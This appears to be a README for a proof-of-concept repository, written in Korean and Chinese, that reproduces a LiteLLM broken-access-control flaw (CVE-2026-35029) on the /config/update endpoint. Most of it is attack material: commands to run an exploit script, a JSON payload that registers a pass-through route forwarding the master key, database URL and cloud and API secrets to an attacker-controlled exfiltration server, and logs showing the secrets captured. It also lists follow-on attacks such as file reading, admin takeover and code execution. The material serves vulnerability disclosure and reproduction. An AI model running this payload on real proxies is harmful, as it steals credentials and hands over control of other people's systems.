
해당 취약점을 개인적으로 재현하기 위한 코드
/config/update 권한 없는 접근 취약점 (Broken Access Control)LiteLLM의
/config/update엔드포인트는 호출자의 역할 권한을 확인하지 않습니다. 유효한 API Key를 가진 모든 인증된 사용자는(관리자 권한 없이도) 프록시 구성을 수정하고 악성 Pass-Through 엔드포인트를 등록하여 환경 변수 탈취, 임의 파일 읽기, 원격 코드 실행 등의 공격을 수행할 수 있습니다.
| Field | Value |
|---|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affected | LiteLLM < 1.83.0 |
| Fixed | v1.83.0+ (added proxy_admin role check on /config/update) |
| Published | 2026-04-06 |
| Discovered by | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Found | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
LiteLLM의 /config/update 엔드포인트는 proxy_admin 역할만 호출할 수 있어야 하지만, v1.83.0 이전에는 역할 확인이 전혀 없었습니다. 유효한 API Key를 가진 모든 사용자가 이 엔드포인트를 호출할 수 있습니다.
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it tomain-v1.81.0-stableor any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
참고: 컨테이너를 처음 시작할 때 약 30~60초(PostgreSQL 상태 확인 + Prisma 데이터베이스 마이그레이션) 기다려야 하며, 컨테이너 로그에
Uvicorn running on http://0.0.0.0:4000가 나타난 후에 exploit을 실행하십시오.
환경 변수 탈취:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
수정 버전 접근 거부 (비관리자 Key 사용 시 403 반환):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
참고: Master Key(
sk-litellm-master-key)로 수정 버전을 테스트하면 구성 업데이트가 여전히 HTTP 200을 반환할 수 있습니다(Master Key는proxy_admin역할을 보유). 하지만 Pass-Through 엔드포인트 등록이 적용되지 않거나 조용히 무시될 수 있습니다. 비관리자 Key를 사용하여 수정을 확인하는 것이 좋습니다.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
v1.83.0에서 /config/update 핸들러에 proxy_admin 역할 확인이 추가되었습니다:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
커밋: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update 엔드포인트에 대한 네트워크 접근 제한Disclaimer: This content is provided for educational purposes and authorized security testing only.
| 공격 유형 | 설명 |
|---|
| 환경 변수 탈취 | Pass-Through 엔드포인트를 등록하여 os.environ/VAR_NAME 헤더 참조를 통해 DATABASE_URL, LITELLM_MASTER_KEY 등을 탈취합니다. |
| 임의 파일 읽기 | LANGFUSE_* 헤더의 Base64 인코딩 특성을 이용하여 서버 파일 시스템을 읽습니다. |
| 구성 변조 | UI_USERNAME, UI_PASSWORD를 덮어써 관리자 계정을 탈취합니다. |
| 원격 코드 실행 | 공격자의 Python 코드를 가리키는 Pass-Through 엔드포인트 핸들러를 등록합니다. |